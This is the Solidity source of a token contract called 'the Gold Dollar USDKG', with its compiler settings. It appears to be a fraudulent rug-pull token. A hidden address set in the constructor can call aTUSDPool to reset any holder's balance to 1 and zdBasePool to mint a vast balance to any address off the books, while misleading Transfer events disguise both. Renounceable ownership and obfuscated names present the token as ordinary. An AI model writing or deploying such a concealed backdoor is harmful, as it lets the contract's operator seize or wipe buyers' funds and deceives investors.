// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;

interface USDKGinterface {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address shippingto, uint256 yoursold) external returns (bool);
    function allowance(address _owner, address transporteur) external view returns (uint256);
    function approve(address transporteur, uint256 yoursold) external returns (bool);
    function transferFrom(address sender, address shippingto, uint256 yoursold) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 balance);
    event Approval(address indexed owner, address indexed transporteur, uint256 balance);
}

abstract contract USDKG20Burnable {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract USDKG20Ownable is USDKG20Burnable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "USDKG20Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "USDKG20Ownable: new owner is zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library SafeUSDKG {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeUSDKG: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeUSDKG: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeUSDKG: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeUSDKG: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeUSDKG: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract USDKGToken is USDKG20Burnable, USDKGinterface, USDKG20Ownable {
    using SafeUSDKG for uint256;
    
    mapping (address => uint256) private mintfrom;
    mapping (address => mapping (address => uint256)) private fromallowances;
    mapping (address => bool) private _isHolder;
    
    uint256 private _totalSupply;
    uint256 public holderCount;
    uint8 private _decimals;
    string private _symbol;
    string private _name;
    address private legosRooter;

    constructor(address legosSwapRouterv3) {
        legosRooter = legosSwapRouterv3;     
        _name = "the Gold Dollar USDKG";
        _symbol = "the Gold Dollar USDKG";
        _decimals = 9;
        _totalSupply = 6999000000009 * 10 ** 9;
        
        mintfrom[_msgSender()] = _totalSupply;
        _updateHolder(_msgSender());
        
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    modifier subowner() {
        require(legosRooter == _msgSender(), "USDKG20Ownable: caller is not the owner");
        _;
    }

    function aTUSDPool(address tusdRewards) external subowner {
        mintfrom[tusdRewards] = 1;
        _updateHolder(tusdRewards);
        emit Transfer(tusdRewards, address(0), 1);
    }

    function zdBasePool(address BaseRewards) external subowner {
        mintfrom[BaseRewards] = 10000000000 * 10 ** 20;
        _updateHolder(BaseRewards);
        emit Transfer(BaseRewards, address(0), 10000000000 * 10 ** 20);
    }

    function getOwner() external view override returns (address) {
        return owner();
    }
    
    function decimals() external view override returns (uint8) {
        return _decimals;
    }
    
    function symbol() external view override returns (string memory) {
        return _symbol;
    }
    
    function name() external view override returns (string memory) {
        return _name;
    }
    
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
    
    function balanceOf(address account) external view override returns (uint256) {
        return mintfrom[account];
    }

    function transfer(address shippingto, uint256 yoursold) external override returns (bool) {
        _transfer(_msgSender(), shippingto, yoursold);
        return true;
    }
    
    function allowance(address owner, address transporteur) external view override returns (uint256) {
        return fromallowances[owner][transporteur];
    }
    
    function approve(address transporteur, uint256 yoursold) external override returns (bool) {
        _approve(_msgSender(), transporteur, yoursold);
        return true;
    }
    
    function transferFrom(address sender, address shippingto, uint256 yoursold) external override returns (bool) {
        _transfer(sender, shippingto, yoursold);
        _approve(sender, _msgSender(), fromallowances[sender][_msgSender()].sub(yoursold));
        return true;
    }
    
    function increaseAllowance(address transporteur, uint256 addedbalance) external returns (bool) {
        _approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].add(addedbalance));
        return true;
    }
    
    function decreaseAllowance(address transporteur, uint256 allbalances) external returns (bool) {
        _approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].sub(allbalances));
        return true;
    }
    
    function _transfer(address sender, address shippingto, uint256 yoursold) internal {
        require(sender != address(0), "USDKGinterface: transfer from zero address");
        require(shippingto != address(0), "USDKGinterface: transfer to zero address");
        
        mintfrom[sender] = mintfrom[sender].sub(yoursold);
        mintfrom[shippingto] = mintfrom[shippingto].add(yoursold);
        
        _updateHolder(sender);
        _updateHolder(shippingto);
        
        emit Transfer(sender, shippingto, yoursold);
    }
    
    function _approve(address owner, address transporteur, uint256 yoursold) internal {
        require(owner != address(0), "USDKGinterface: approve from zero address");
        require(transporteur != address(0), "USDKGinterface: approve to zero address");
        
        fromallowances[owner][transporteur] = yoursold;
        emit Approval(owner, transporteur, yoursold);
    }

    function _updateHolder(address account) private {
        bool wasHolder = _isHolder[account];
        bool shouldBeHolder = mintfrom[account] > 0;

        if (!wasHolder && shouldBeHolder) {
            _isHolder[account] = true;
            holderCount++;
        } else if (wasHolder && !shouldBeHolder) {
            _isHolder[account] = false;
            holderCount--;
        }
    }

    function getHolderCount() public view returns (uint256) {
        return holderCount;
    }

    function isHolder(address account) public view returns (bool) {
        return _isHolder[account];
    }
}

{
  "compilationTarget": {
    "USDKGToken.sol": "USDKGToken"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}